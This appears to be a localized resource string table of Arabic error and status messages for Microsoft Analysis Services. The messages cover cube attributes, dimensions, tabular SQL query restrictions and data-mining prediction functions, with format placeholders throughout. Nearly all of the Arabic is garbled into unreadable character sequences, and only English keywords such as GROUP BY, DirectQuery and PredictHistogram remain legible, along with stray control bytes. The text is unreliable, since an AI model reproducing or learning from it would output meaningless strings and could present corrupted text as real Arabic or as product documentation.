'%{CubeAttrPermID/}'.Z*901 -D 96H 'DE,EH9) 'DE91QA EF BP(D 'DE3*./E '%{GroupMember/}' AJ 'D(O9/ '%{Dimension/}'.gD' JECF 'D9+H1 9DI 3E) 'D*,EJ9 'DE91A) EF BP(D 'DE3*./E '%{GroupAttr/}' AJ 3E'* 'D(O9/ '%{Dimension/}'.QJ*E /9E 3E'* 'D*,EJ9 'DE91A) EF BP(D 'DE3*./E AB7 ('3*./'E #(9'/ F7'B ,D3) 'D9ED.x%F *-/J/ #96'! 'D*,EJ9 'DE91AJF EF BP(D 'DE3*./E JECF *-/J/GE AB7 9F/ *9JJFGE FH9 'D*,EJ9 D*CHF E91QA) EF BP(D 'DE3*./E.R1(7 'D3E) DD.'5J) '%{property_name/}' :J1 5'D- D#F 'D(O9/ 'D#5D D' J*6EF 1(7 OLAP.]1(7 3E) 'DEC9( DD.'5J) '%{property_name/}' :J1 5'D- D'F 'D(O9/ 'D#5D J*6EF EC9( E5/1 E.*DAK'.b1(7 3E) 'DEC9( DD.'5J) '%{property_name/}' :J1 5'D- D'F 'D(O9/ 'D#5D J*6EF (O9/ EC9( E5/1 E.*DAK'.[%F 'D*,EJ9 '%{agg/}' AJ 'DB3E '%{partition/}' D' J*6EF 1(7K' 5'D-K' EB*1FK' ('DC'&F 'DE5/1.?E5/1 :J1 5'D- DEBJ'3 *,EJ9 '%{agg_measure/}' DD*,EJ9 '%{agg/}'.W*901 'D9+H1 9DI EDA 0'C1) 'D*.2JF 'DE$B* DDE5FA '%{workbook_connstr/}' AJ %/'1) 'DE5FA.@'DE5FA 'DE-// EF BP(D DatabaseId='%{database_id/}' EA*H- ('DA9D.='DE5FA 'DE-// EF BP(D DatabaseId='%{database_id/}' :J1 EA*H-.8%F 'D9F51 'DE*H'2J :J1 E9*E/ AJ /OA9) DJ3* EF 'DE9'ED'*.=JO3E- (O9B/ 'D9EDJ) AB7 *-* 9B/) 'DE*H'2J DD9B/) AJ #E1 /A9J.V'DC'&F 'DE-// AJ 7D( 9EJD DJ3 E5/1 (J'F'*. E3EH- AB7 (C'&F'* E5/1 'D(J'F'* DG0' 'D#E1.sD' JECF E9'D,) %{typename/} 'DE1*(7 0J 'DE91QA '%{id/}' ('D'3E '%{name/}' D#F C'&F 'DE5/1 'D.'5 (G DE **E E9'D,*G.�D' JECF E9'D,) %{typename/} 'DE1*(7 0J 'DE91A '%{id/}' ('D'3E '%{name/}' D#FG J-*HJ 9DI (O9/ MG 0J 'DE91QA '%{mgdim_id/}' ('D'3E '%{mgdim_name/}' 0J 3E) FB'H) 4(C) E.*DA) 9F C'&F 'DE5/1 'D.'5 (G.XD' JECF 'D9+H1 9DI E91QA (O9/ '%{dimId/}' DDEC9( 'DA19J 'DE1*(7 0J 'DE91QA '%{cubeId/}'.qD' JECF 'D9+H1 9DI E91A 'D3E) '%{attrId/}' DDEC9( 'DA19J 'DE1*(7 0J 'DE91A '%{cubeId/}' HEO91A 'D(9/ '%{dimId/}'.�DB/ *:J1 'D9// 'D%,E'DJ D1H'(7 'DEA*'- D@ %{typename/} 'DE1*(7 0J 'DE91A '%{id/}' ('D'3E '%{name/}' 9DI 'D.'/E 'D(9J/. C11 'D9EDJ) D-D 'DE4CD).�*901 'D9+H1 9DI 96H EF 'D(O9/ '%{name/}'. B/ JCHF G0' (3(( 0'C1) *.2JF E$B* DD(O9/ *'DA). B/ J$/J %9'/) *4:JD 'D'3*9D'E (9/ E3- 0'C1) 'D*.2JF 'DE$B* %DI -D 'DE4CD).cH',G 'D'3*9D'E *5EJEK' -J+ JH,/ *9(J1 9/J/ %DI 9/J/ #H *9(J1 (O9/ E1,9J #H *9(J1 EBJ'3 DG 9D'B) /'&1J) HB/ J$/J 'D'3*9D'E 9F G0G 'DEH'/ %DI %9'/) :J1 E-/H/). 9DI 3(JD 'DE+'D B/ *4J1 E,EH9) 'DEBJ'3 (#) %DI #(9'/ 9/J/) .D'D E,EH9) 'DEBJ'3 (() H**6EF E,EH9) 'DEBJ'3 (() *9(J1 EBJ'3 J4J1 %DI EBJ'3 AJ E,EH9) 'DEBJ'3 (#). 'DC'&F'* 'DE*6EF) GJ: %{objectIds/}.KD' *ECF ,/HD) 'DE9'D,) 'DE*H'2J) DDC'&F'* 'D*'DJ). 'DE91A'*: %{objectIds/}.�*,1J ,/HD) 'DB3E 0J 'DE91QA %{partitionId/} #C+1 EF E1) H'-/) ('3*./'E FH9 E9'D,) E.*DA. J-/+ 0DC 9DI 3(JD 'DE+'D 9F/E' **E ,/HD) FA3 'D,/HD #C+1 EF E1) H'-/) C,2! EF 7D( 'DE*H'2J.R-/+ .7# #+F'! E9'D,) 'DB3E '%{PartitionName/}' AJ E,EH9) 'DEB'JJ3 '%{TableName/}'.PAU'C*4'A 9/E '*3'B AJ (OFI 'D(J'F'* 'D/'.DJ) B/ JCHF 'D3(( AJ G0' GH 9EDJ) :J1 E9*E/).�-/+ .7# #+F'! 'D*-BB EF *F'3B 'DB3E '%{PartitionName/}' 'D.'5 (E,EH9) 'DEB'JJ3 '%{Detail/}' DDEC9( '%{Cube/}' EF B'9/) 'D(J'F'* %{Database/}. B/ **ECF EF %5D'- G0' 9(1 %9'/) E9'D,) 'DB3E #H 'DAG'13.%-5'!'* EB79 'DB3E *'DA).EB79 'DB3E *'DA.wD' JECF '3*./'E 'D9('1) RETURN E9 'D9('1) DRILLTHROUGH 9F/ *91JA *9(J1 DetailRows ('DA9D 9DI 'DEBJ'3 '%{MeasureName/}'.KJ*E '3*./'E *9(J1 DetailRows AJ H69 DirectQuery 'DEOBJ/. G0' :J1 E/9HE (9/.8E9DE) 'D%/.'D DDH8JA) DETAILROWS DJ3* E1,9 EBJ'3 5'D-K'.H'DH-/) 'DFE7J) DD*9DJE'* 'D(1E,J) 'DE/'1) D@ Microsoft Analysis Services$%s{mengine_eventlistener_exception/}DE J*E *-EJD MEngineHelper.4A4D (/! E$41 *1'(7 *-EJD menginehelper :J1 'DE*2'EF.PA='D'3*9D'E 'D,/HDJ: J*E *,'GD 'D9EH/ ORDERBY AJ '3*9D'E COUNT.PADJ9*(1 'D9EH/ '%{column/}' EBJ'3K' HD' JECF *6EJFG AJ 9('1) GROUP BY.DD' JECF *,EJ9 9EH/ 'DEBJ'3 '%{column/}' D#FG D' *H,/ 9('1) GROUP BY.@J9*(1 'D9EH/ '%{column/}' EBJ'3K' HJ,( *,EJ9G AJ 9('1) GROUP BY.8D' JECF *,EJ9 'DEBJ'3 '%{measure/}' ('3*./'E 'D/'D) Sum.8D' JECF *,EJ9 'DEBJ'3 '%{measure/}' ('3*./'E 'D/'D) Avg.:D' JECF *,EJ9 'DEBJ'3 '%{measure/}' ('3*./'E 'D/'D) Count.8D' JECF *,EJ9 'DEBJ'3 '%{measure/}' ('3*./'E 'D/'D) Min.8D' JECF *,EJ9 'DEBJ'3 '%{measure/}' ('3*./'E 'D/'D) Max.NJ9*(1 'D9EH/ '%{column/}' 3E) HD' JECF *,EJ9G. J,( *6EJFG AJ 'D9('1) GROUP BY.@JECF #F JBHE 'D*FBD 'D*A5JDJ (%1,'9 #9E/) EF E,EH9) EBJ'3 H'-/).2D' JECF *FAJ0 '3*9D'E SQL %D' %0' *E *-/J/ C*'DH,.*E.77 '%{schema/}' :J1 5'D- AJ '3*9D'E SQL.X'D,/HD '%{table/}' AJ 'D9('1) FROM D'3*9D'E SQL :J1 E$GD EF BP(D '3E 'DE.77 (#H 'DEC9().�'DE.77 '%{cube/}' (#H 'DEC9() :J1 EH,H/ AJ B'9/) 'D(J'F'* '%{database/}' #H #F 'DE3*./E DJ3 D/JG 'D#0HF'* 'D61H1J) DDH5HD %DJG'.KJ,( #F *#*J ,EJ9 'D,/'HD 'DE-//) AJ '3*9D'E SQL EF 'DE.77 (#H 'DEC9() FA3G.PA;*E *6EJF 'D,/HD '%{table/}' 'D9/J/ EF 'DE1'* AJ 9('1) FROM.}%E' #F 'D,/HD '%{table/}' :J1 EH,H/ AJ 'DE.77 (#H 'DEC9() '%{cube/}' #H #F 'DE3*./E DJ3 D/JG 'D#0HF'* 'D61H1J) DDH5HD %DJG'.%*-*HJ 9('1) WHERE 9DI *9(J1 :J1 5'D-.2*E *-/J/ 9EDJ) +F'&J) :J1 E9*E/) AJ 'D9('1) WHERE.SD' JECF '3*./'E 'D9('1) GROUP BY AJ 'D9EH/ '%{column/}' D#F 'D9EH/ J3*F/ %DI EBJ'3.^D' JECF '3*./'E 'D9('1) GROUP BY AJ 'D9EH/ '%{column/}' D#F 'D9EH/ :J1 E-// AJ 'D9('1) SELECT.7D' JECF '3*./'E 'D9('1) ORDER BY (/HF 'D9('1) GROUP BY.DD' JECF '3*./'E 'D9('1) ORDER BY %0' *E *9JJF SQLQueryMode %DI Data.$*CHF 'D9/J/ EF 41H7 ORDER BY E9*E/).a*E* EH',G) .7# E9 'D9EH/ '%{column/}'. *CHF 'D9('1) ORDER BY E9*E/) AB7 AJ 3E'* UniqueName HName.-*9*(1 '3*9D'E'* SQL 0'* 9('1'* OR :J1 E9*E/).^D' JECF '3*./'E 'D9('1) GROUP BY DD'3*9D'E 9F ,/'HD 'D(O9/ %0' *E *9JJF SQLQueryMode %DI Data. J-*HJ 'D9EH/ 9DI *9(J1 :J1 5'D-.0E9DE) 'DAG13 DD/'D) Key DJ3* EF FH9 (J'F'* 5'D-.<D' JECF *7(JB 'D/'D) '%{function/}' 9DI 'D9EH/ '%{column/}'.PAV'3E 'DE.77 '%{schema/}' DD9EH/ '%{column/}' D' J*7'(B E9 E.77 'D,/'HD AJ 'D9('1) FROM.A'D,/HD '%{table/}' DD9EH/ '%{column/}' :J1 EH,H/ AJ 'D9('1) FROM.o'D9EH/ '%{column/}' :J1 E$GD. JCHF '3E 'D9EH/ 'DE$GD E7DH(K' %0' C'F* 'D9/J/ EF 'D,/'HD E-//) AJ 'D9('1) FROM. 7*E* EH',G) '3E E.77 #H ,/HD #H 9EH/ ECHF (71JB) 3J&).=D' JECF 'D9+H1 9DI 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}'.JJH,/ EO9'ED :J1 E*HB9 AJ 'D9('1) WHERE. E9'ED Equals ( = ) GH AB7 'DE9*E/.LJH,/ EO9'ED :J1 E*HB9 AJ 'D9('1) WHERE. E9'ED Equal To ( = ) GH AB7 'DE9*E/.EJ9*(1 'D9EH/ '%{column/}' EBJ'3K' HD' JECF '3*./'EG AJ 'D9('1) WHERE.A*E *7(JB /'D) :J1 5'D-) 9DI 'D9EH/ '%{column/}' AJ 'D9('1) WHERE.[D' JECF H,H/ 'D96H '%{member/}' 'DE-// AJ 'D9('1) WHERE AJ 'D*3D3D 'DGJCDJ '%{hierarchy/}'.SDE JCF 'D*F3JB 'DF'*, D'3*9D'E SQL 5'D-K'. *F3JB'* ",/HDJ" H"#5DJ" GJ AB7 'DE9*E/).1'3*9D'E'* SQL 0'* 'D'3*9D'E'* 'DA19J) :J1 E9*E/).:'3*9D'E'* SQL 0'* 9EDJ'* SKIP #H TOP #H BOTTOM :J1 E9*E/).E*/9E '3*9D'E'* SQL '3*/9'! /'D) MDXFilter H'-/) AB7 AJ 'D9('1) WHERE.OD' **J- '3*9D'E'* SQL 'D41H7 9F/E' *CHF /'D) MDXFilter EH,H/) AJ 'D9('1) WHERE.mD' JF*EJ 'D96H '%{member/}' 'DE-// AJ 'D9('1) WHERE %DI 'DE3*HI 'DE*HB9 6PEF 'D*3D3D 'DGJCDJ '%{hierarchy/}'.s'D3E) '%{attrName/}' AJ 'D(O9/ '%{dimName/}' .'1, FB'H) 'D4(C) DE,EH9) 'DEBJ'3 '%{mgName/}' HD' JECF %1,'9G' C9EH/.�J,( #F *F*EJ #9E/) 'D*FBD 'D*A5JDJ DE,EH9) EBJ'3 H'-/) AB7 ('D6(7. *4J1 G0G 'D#9E/) 'D*J J*E 7D(G' (H'37) 9('1) 'D'3*91'6 %DI E,EH9'* EBJ'3 E*9//).U'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' D' J*6EF 9EH/ EA*'- 9F/ 'D%2'-) %{offset/}.]J,( #F *-// 'DE9DE) 1 DD9('1) SYSTEMRESTRICTSCHEMA '3E E,EH9) 5AHA E.77 DDFEH0, $SYSTEM.name.H'3E 'DBJ/ '%{restriction/}' DJ3 5'D-K' DE,EH9) 5AHA 'DE.77 '%{rowset/}'.o'DBJ/ '%{strName/}' E7DH( HDCFG EABH/ EF 'D7D(. J,( #.0 '3*./'E SYSTEMRESTRICTSCHEMA AJ 'D'9*('1 D*HAJ1 'DBJH/.YJECF *9JJF SQLQueryMode AB7 %DI DataKeys 9F/ '3*./'E Analysis Services AJ 'DH69 'D,/HDJ. 3*E *-/J/ 9EDJ) #-'/J) :J1 E9*E/) AJ 'D9('1) WHERE .o*E *-/J/ E9'ED NOT :J1 5'D- AJ 'D9('1) WHERE. JECF '3*./'E NOT AB7 AJ EB/E) 'D9('1) 'D*'DJ): [ColName] IS NULL.ED' */9E 'D'3*9D'E'* 'D,/HDJ) 'D*9(J1'* 'D*J *-*HJ 9DI '3*/9'!'* /'D).,D' */9E 'D'3*9D'E'* 'D,/HDJ) -3'('* 'D#9E/).:JECFC AB7 'D7D( (H'37) 3E) H'-/) H9EH/ 1BE 'D5A '.*J'1JK'.1D' */9E 'D'3*9D'E'* 'D,/HDJ) 9('1'* DrillThrough.'JH,/ EO9'ED :J1 E*HB9 AJ 'D9('1) WHERE.^*/9E 'D'3*9D'E'* 'D,/HDJ) '3*/9'! /'D*J MATCHESRULE HKEYWORDSMATCHPREFIX AB7 AJ 'D9('1) WHERE.eJECF DD'3*9D'E'* 'D,/HDJ) #F **6EF BJE 3D3D) #H BJE) 1BEJ) #H BJE NULL AB7 CE9'ED'* AJ 'D9('1) WHERE.>JECF #F **6EF 'D'3*9D'E'* 'D,/HDJ) EBJ'3K' AB7 EF 'DFH9 COUNT.g'D'3*9D'E 'D,/HDJ: D' JECF 'D9+H1 9DI 'D,/HD 'D1&J3J AJ 'D,/'HD 'D7(J9J) 'DE1*(7) 'D.'5) ('D9('1) FROM.�'DA12 :J1 E9*E/ AJ 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' D#FG D' JH,/ *3D3D GJCDJ EB*1F (G0' 'D9EH/ #H D#F 'D9EH/ 'DEB*1F ('D9EH/ DE **E E9'D,*G.R'D'3*9D'E 'D,/HDJ: 9/E *7'(B AJ 'DFH9 AJ 'D9EH/ '%{column/} AJ 'D,/HD '%{table/}'.�'D'3*9D'E 'D,/HDJ: *9(J1 OR :J1 5'D-. J,( *6EJF 'D*9(J1 'D5'D- (JF BH3JF CE' J,( #F J*6EF 9EH/K' H'-/K'. H9D'H) 9DI 0DC B/ J3*./E *9(J1'* OR AJ #9E/) 'D3D3D) E9'ED'* J3'HJ (=) HIS NULL.h'D'3*9D'E 'D,/HDJ: 9H'ED *5AJ) 'DF7'B AJ 'D9EH/ '%{column/} AJ 'D,/HD '%{table/}' D' *:7J 'DF7'B 'D5'D-.f'D'3*9D'E 'D,/HDJ: *E *-/J/ E' J2J/ 9F 9'EDJ *5AJ) DDF7'B AJ 'D9EH/ '%{column/} AJ 'D,/HD '%{table/}'.h'D'3*9D'E 'D,/HDJ: EBJ'3 COUNT AJ 'D'3*9D'E :J1 5'D-. 'D1,'! *-/J/ COUNT (*F3JB 'COUNT()' #H 'COUNT(*)'.1'D'3*9D'E 'D,/HDJ: EBJ'3'* COUNT AB7 GJ 'DE9*E/).�'D'3*9D'E 'D,/HDJ: -// B'&E) 9EH/ DD'3*9D'E COUNT J,( #F J-*HJ 9DI 'COUNT(*)' H'-/ ('D6(7. :J1 E3EH- ('D#9E/) 'D#.1I 'SKIP n' H'TOP k'.E'D'3*9D'E 'D,/HDJ: J,( #F JCHF 'DEO9'ED 'D.'5 (9'ED *4:JD IS GH NULL.:'D'3*9D'E 'D,/HDJ: 9'ED 'D*4:JD :J1 E*H'AB E9 EO9'ED NULL.S'D'3*9D'E 'D,/HDJ: %E' #FG DE J*E 'D9+H1 9DI 'D*1*J( -3( 'D9EH/ #H #FG EBJ'3 COUNT.|J,( *9JJF 'SQLQueryMode' %DI 'DataKeys' DJ*E /9E (F'! ,ED) Tabular Query SQL 9F/ '3*./'E Analysis Services AJ 'DH69 'D,/HDJ.�'D'3*9D'E 'D,/HDJ: 9('1) WHERE :J1 5'D-) AJ 'D9EH/ '%{column/} AJ 'D,/HD '%{table/}'. J*E AB7 /9E 'D+H'(* 'D*J *O3(B ('D9D'E) '+' #H '-'.s'D'3*9D'E 'D,/HDJ: **7D( SELECT DISTINCT 9EH/K' H'-/K' ('D6(7 DCJ J*E *-/J/G HB/ JCHF 'DA12 AB7 AJ 'D9EH/ DISTINCT.PAy%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI 'D,/HD 'DEO4'1 %DJG '%{strName/}' #H #F 'DC'&F :J1 EH,H/.g'D*FBD 'D*A5JDJ :J1 E9*E/ D#F 'D.'/E J*E *4:JDG AJ 'DH69 'D,/HDJ #H D#F 'DE3*./E DJ3 D/JG 'D%0F 'DC'AJ.A'D*FBD 'D*A5JDJ :J1 E9*E/ D#F 'D.'/E J*E *4:JDG AJ 'DH69 'D,/HDJ.J*901 -D 'D9EH/ '%{column/}'.:DE J*E *-/J/ #9E/) DD%.1',. J,( *-/J/ 9EH/ H'-/ 9DI 'D#BD.wD' JECF *4:JD '3*9D'E 9F51 H',G) E3*./E DD,/HD D#F B'9/) 'D(J'F'* 'D-'DJ) '%{DBName/}' B/ *E *ECJF H69 DirectQuery (G'.g*E *HAJ1 H3J7) :J1 5'D-) D#3DH( MatchesRule. '3E 'D9EH/ 'DE*HB9 CE9DE) #HDI H3D3D) 'D(-+ CE9DE) +'FJ). EDE J*E %F4'! 1E2 EEJ2 DD,/HD 'DEE11 %DI /'D) MatchesRule #H E9'D,*G. N D' *-*HJ H3J7) 3D3D) 'D(-+ 'DEE11N) %DI /'D) MatchesRule 9DI (F'! ,ED) 5-J-. O DJ3 D/JC %D' E$C/ H'-/ AJ 9('1) WHERE %0' *E '3*/9'! /'D) KEYWORDSMATCHPREFIX.� 'D1,'! *HAJ1 9EH/ H'-/ AB7 AJ SELECT AUTOSUGGESTEDTOKEN(basetable_columnname). HJD2EC 'D-5HD 9DI 1EH2 EEJ2) EB*1-) %0' '3*/9J* KEYWORDSMATCHPREFIX.W 9EH/ 'D,/HD 'D#3'3J 'DEE1N1 %DI AUTOSUGGESTEDTOKEN HKEYWORDSMATCHPREFIX :J1 E*7'(BJF. 0'D'3*9D'E 'D,/HDJ EB'(D ,/HD 'DEB'JJ3 :J1 E/9HE.PAFB'E* 'D/'D) ScalarPredict (%1,'9 'DBJE) 'D#C+1 '-*E'D'K DD9EH/ 'DE-//.KB'E* 'D/'D) TablePredict (%1,'9 E,EH9) 'DBJE 'D#C+1 '-*E'D'K DD9EH/ 'DE-//.KB'E* 'D/'D) PredictAssociation (%1,'9 E,EH9) 'D5AHA 'DEB*1F) (-'D) 'D%/.'D.{B'E* 'D/'D) PredictSequence (%1,'9 3D3D) EF 'D#-/'+ 'D*J *CHF n .7H'* (H'-/) %0' DE J*E *-/J/G') 'DE3*F/) %DI -'D) 'D%/.'D._*BHE 'D/'D) PredictTimeSeries (%1,'9 n .7H'* 'D*'DJ) DD*3D3D 'D2EFI (H'-/) %0' DE J*E *-/J/G').Z*BHE 'D/'D) PredictSupport (%1,'9 BJE) 'D/9E %E' DDBJE) 'D#C+1 '-*E'D'K #H 'DBJE) 'DE-//).?*BHE 'D/'D) PredictVariance (%1,'9 BJE) 'D'.*D'A DD9EH/ 'DE-//.PAH*BHE 'D/'D) PredictStdev (%1,'9 BJE) 'D'F-1'A 'DE9J'1J AJ 'D9EH/ 'DE-//.b*BHE 'D/'D) PredictProbablility (%1,'9 BJE) 'D'-*E'D %E' DDBJE) 'D#C+1 '-*E'D'K #H 'DBJE) 'DE-//).w*BHE 'D/'D) PredictAdjustedProbability (%1,'9 BJE) 'D'-*E'D 'D*J *E 6(7G' %E' DDBJE) 'D#C+1 '-*E'D'K #H 'DBJE) 'DE-//).L*BHE 'D/'D) Cluster (%1,'9 E91A F8'E 'DE,EH9) 'D#C+1 '-*E'D'K D-'D) 'D%/.'D.d*BHE 'D/'D) ClusterDistance (%1,'9 E3'A) -'D) 'D%/.'D EF F8'E 'DE,EH9) 'DE-//) (#H 'D#C+1 '-*E'D'K).v*BHE 'D/'D) ClusterProbability (%1,'9 '-*E'DJ) -'D) 'D%/.'D 'D*J *F*EJ %DI F8'E 'DE,EH9) 'DE-//) (#H 'D#C+1 '-*E'D'K).�*BHE 'DH8JA) PredictHistogram (%1,'9 ,/HD J-*HJ 9DI -'D'* DD9EH/ 'DE*HB9. J-*HJ 'D,/HD 9DI 'D#9E/) 'D*'DJ): 'D9EH/ 'DE-// H$Support H$Probability H$ProbabilityVariance H$ProbabilityStdev H$Variance H$Stdev.�*BHE 'DH8JA) PredictHistogram (%1,'9 ,/HD J-*HJ 9DI %-5'&J'* D96HJ) F8'E 'DE,EH9) D-'D) 'D%/.'D. J-*HJ 'D,/HD 9DI 'D#9E/) 'D*'DJ): 'D9EH/ 'DE-// $Support H$Probability H$ProbabilityVariance H$ProbabilityStdev H$Variance H$Stdev H$Cluster H$Distance.o*BHE 'D/'D) TopCount (%1,'9 5AHA 9// n 9F51K' 'D#HDI D*9(J1 'D,/HD 'DEO1*() *1*J(K' *F'2DJK' -3( *9(J1 'D1*().s*BHE 'D/'D) BottomCount function (%1,'9 5AHA 9// n 9F51K' 'D#.J1) D*9(J1 'D,/HD 'DE1*() *5'9/JK' -3( *9(J1 'D1*().�*BHE 'D/'D) TopSum function (%1,'9 'D9// 'D#5:1 DD5AHA (*1*J( *F'2DJ E+D E,EH9 BJE *9(J1 'D1*() 'D0J J3'HJ 'DE,EH9 'DE-// 9DI 'D#BD.*BHE 'D/'D) BottomSum (%1,'9 'D9// 'D#5:1 DD5AHA (*1*J( *5'9/J (-J+ JCHF E,EH9 BJE *9(J1 'D1*() J3'HJ 'DE,EH9 'DE-// 9DI 'D#BD.�*BHE 'D/'D) TopPercent (%1,'9 'D9// 'D#5:1 DD5AHA (*1*J( *F'2DJ (-J+ JCHF E,EH9 BJE *9(J1 'D1*() J3'HJ 'DF3() 'DE&HJ) 'DE-//) DDE,EH9 'D%,E'DJ DBJE *9(J1 'D1*() 9DI 'D#BD.�*BHE 'D/'D) BottomPercent (%1,'9 'D9// 'D#5:1 DD5AHA (*1*J( *5'9/J (-J+ JCHF E,EH9 BJE *9(J1 'D1*() GH 'DF3() 'DE&HJ) DDE,EH9 'D%,E'DJ DBJE *9(J1 'D1*() 9DI 'D#BD.V*BHE 'D/'D) RangeMid (%1,'9 %E' FB7) 'DH37 D9EH/ E3*E1 #H 'DE3*H/9 'DE-// D9EH/ EFA5D.X*BHE 'D/'D) RangeMin (%1,'9 %E' 'D1(7 'D#5:1 D9EH/ E3*E1 #H 'DE3*H/9 'DE-// D9EH/ EFA5D.X*BHE 'D/'D) RangeMax (%1,'9 %E' 'D1(7 'D#9DI D9EH/ E3*E1 #H 'DE3*H/9 'DE-// D9EH/ EFA5D.V*BHE 'D/'D) PredictNodeId (%1,'9 E91QA 'D9B/) 'D0J *3*./EG 'D.H'12EJ) AJ 'DBJ'E (*F($.T*BHE 'D/'D) IsInNode (%1,'9 BJE) 5-J-) %0' *E '9*('1 -'D) 'D%/.'D AJ 'D9B/) 'DE-//).[*BHE 'D/'D) IsDescendant (%1,'9 BJE) 5-J-) %0' *E '9*('1 -'D) 'D%/.'D *'(9) DD9B/) 'DE-//).E%F $Cluster GH 9EH/ B'(D DD*-/J/ EF PredictHistogram D#F8E) 'DE,EH9).\%F $Probability GH 9EH/ B'(D DD*-/J/ EF PredictHistogram #H Predict(...,INCLUDE_STATISTICS).d%F $AdjustedProbability GH 9EH/ B'(D DD*-/J/ EF PredictHistogram #H Predict(...,INCLUDE_STATISTICS).V%F $Stdev GH 9EH/ B'(D DD*-/J/ EF PredictHistogram #H Predict(...,INCLUDE_STATISTICS).X%F $Support GH 9EH/ B'(D DD*-/J/ EF PredictHistogram #H Predict(...,INCLUDE_STATISTICS).Y%F $Variance GH 9EH/ B'(D DD*-/J/ EF PredictHistogram #H Predict(...,INCLUDE_STATISTICS).W%F $NodeId GH 9EH/ B'(D DD*-/J/ EF PredictHistogram #H Predict(...,INCLUDE_STATISTICS).5%F $Sequence GH 9EH/ B'(D DD*-/J/ EF PredictSequence.3%F $Time GH 9EH/ B'(D DD*-/J/ EF PredictTimeSeries.F%F $Distance GH 9EH/ B'(D DD*-/J/ EF PredictHistogram D#F8E) 'DE,EH9).>*BHE 'D/'D) Lag (%1,'9 'DE/) 'D'F*B'DJ) DD-'D) AJ FEH0, 'D,E9.H*BHE 'D/'D) PredictCaseLikelihood (%1,'9 '-*E'DJ) 'D-'D) AJ FEH0, 'D,E9.\*BHE 'D/'D) IsTrainingCase (%1,'9 BJE) 5-J-) %0' C'F* -'D) 'D%/.'D *F*EJ %DI E,EH9) 'D*/1J(.Y*BHE 'D/'D) IsTestCase (%1,'9 BJE) 5-J-) %0' C'F* -'D) 'D%/.'D *F*EJ %DI E,EH9) 'D'.*('1.l*BHE 'D/'D) Exists (%1,'9 BJE) 5-J-) %0' C'F 9('1) SELECT 'DE-// C'DH3J7) 'D.'5) (G' JBHE (%1,'9 5A #H #C+1.]*BHE 'D/'D) StructureColumn (%1,'9 BJE) 9EH/ (FJ) 'D,E9 'D1BEJ) 'DE-//) D-'D) 'DFEH0, 'D-'DJ.Y*BHE 'D/'D) StructureColumn (%1,'9 BJE) 9EH/ (FJ) ,E9 'D,/HD 'DE-// D-'D) 'DFEH0, 'D-'DJ.PA�D' JECF *7(JB 'D/'D) '%{function/}' AJ '3*91'6 DD9EH/ '%{column/}'. A'D/H'D 'DE9*E/) GJ 'Key' H'Name' H'Caption' H'MemberValue' MDX AB7 AJ B'9/) (J'F'* ,/HDJ).�D' J9*E/ '3*91'6 'DH69 'D,/HDJ %D' 41'&- AND AB7. %D' #FG B/ *E 'D9+H1 9DI 41J-) OR H'-/) AB7 9DI 'D#BD AJ '3*9D'E 'D'3*91'6 'D-'DJ.6D' J9*E/ 'DH69 'D,/HDJ %D' 'DEBJ'3 #H 'DEBJ'3 'DE-3H(.PA9D' J4*ED 'D(O9/ '%{strDimID/}' 9DI 'D3E) '%{strAttrID/}'.D*E *-/J/ 'D3E) '%{strAttrID/}' #C+1 EF E1) AJ 9EDJ) 'DC*'() 'D.DAJ).S*E *-/J/ 'DEA'*J- %d{cKeys/} DD3E) '%{strAttrID/}'. 'DEA'*J- %d{cKeyCount/} E7DH().I*901 'D9+H1 9DI #J 3E) DBJE 'DEA'*J- 'DE-//) DE91A 'D3E) '%{strAttrID/}'.PAdDE J*E *-/J/ '3E '%{strAttrID/}' DE91A 'D3E). J,( /'&EK' *-/J/ '3E DD3E) H0DC ('DF3() D#J 3E) ,/J/).D' JECF %/1', 'D3E) D#F 'D(O9/ J4*ED ('DA9D 9DI 96H DG FA3 'DEA'*J- CE' GH 'D-'D E9 'D3E'* 'DE-//) DE91A 'D3E) '%{strAttrID/}'.D'D3E) '%{strAttrID/}' DJ3* 3E) 0'* 5D) ('D3E) '%{strParentAttrID/}'.�*91JA 'D3E) '%{strAttrID/}' :J1 EH,H/ H0DC 9DI 'D1:E EF #FG B/ *E *-/J/ 'D3E) C3E) ,/J/) 0'* 5D) ('D3E) '%{strParentAttrID/}'. *#C/ EF 'DFB'7 'D#3'3J) DD3E'* 'DEH,H/) #H #6A *91JAK' DD3E) 'D,/J/).d*E *-/J/ 'DD:) '%{strLang/}' #C+1 EF E1) DD3E) 0'* 'DE91A '%{strAttrID/}' ('D'3E '%{strAttrName/}'.�D' JECF 'D9+H1 9DI 'DD:) '%{strLang/}' AJ B'&E) 'D*1,E'* 'DE91A) DD3E) '%{strAttrID/}'. *-BB EF 'D*/BJB 'D%ED'&J D'3E 'DD:) #H *91JA 'D3E) AJ 'D(O9/.�D' JECF %,1'! 9EDJ'* *-/J+ E*C11) 9DI 'D3E) '%{strAttrID/}' D#FG' DJ3* ,2!K' EF 9D'B) #5D-*'(9. H0DC -J+ D' JECF %,1'! 9EDJ'* 'D*-/J+ 'DE*C11) %DI 9DI 'D3E'* 'D*J *4*ED 9DI 3E) 0'* 5D) H'D*J J*E *9JJF .'5J) 'D'3*./'E 'D.'5) (G' %DI Parent.�D' J9*(1 'DE3*HI '%{level/}' E3*HI EF FH9 #5D-*'(9. *9*(1 'DC*'() 'D.DAJ) DD(O9/ ('3*./'E  (F'! 'D,ED) G0' E9*E/K' AB7 E9 #96'! #5D-*'(9. �*4*ED 9('1) 'DC*'() 'D.DAJ) DD(O9/ 9DI (F'! ,ED) :J1 5'D-. -J+ J,( #F JCHF ".1 ECHF D*91JA 96H ,/J/ '3EK' HDJ3 EA*'- 'D96H '%{member/}'.6D' *9*(1 '%{property/}' .'5J) 96H DDE3*HI '%{level/}'.b*4*ED 'D3E) '%{property/}' 9DI EA*'- E1C( HD' JECF *-/J+G' ('3*./'E (F'! ,ED) 'DC*'() 'D.DAJ) G0'.�D' JECF *-/J+ 'DE-*HJ'* DD3E) 0'* 'DE91A '%{attributeId/}' ('D'3E '%{attributeName/}' D#F 'D(O9/ J4*ED ('DA9D 9DI 96H J-ED FA3 'DEA*'- HD' *9*(1 'D3E) #9EB 'D3E'* 'D417J) AJ 'D7D(.A*E *-/J/ 3-( E.55 DD3E) '%{attr/}' %D' #FG D' JH,/ #J 1(7 .'5 (G.M*E *-/J/ .5'&5 'DE,EH9) 'DE.55) DD3E) '%{attr/}' %D' #FG D' JH,/ 1(7 .'5 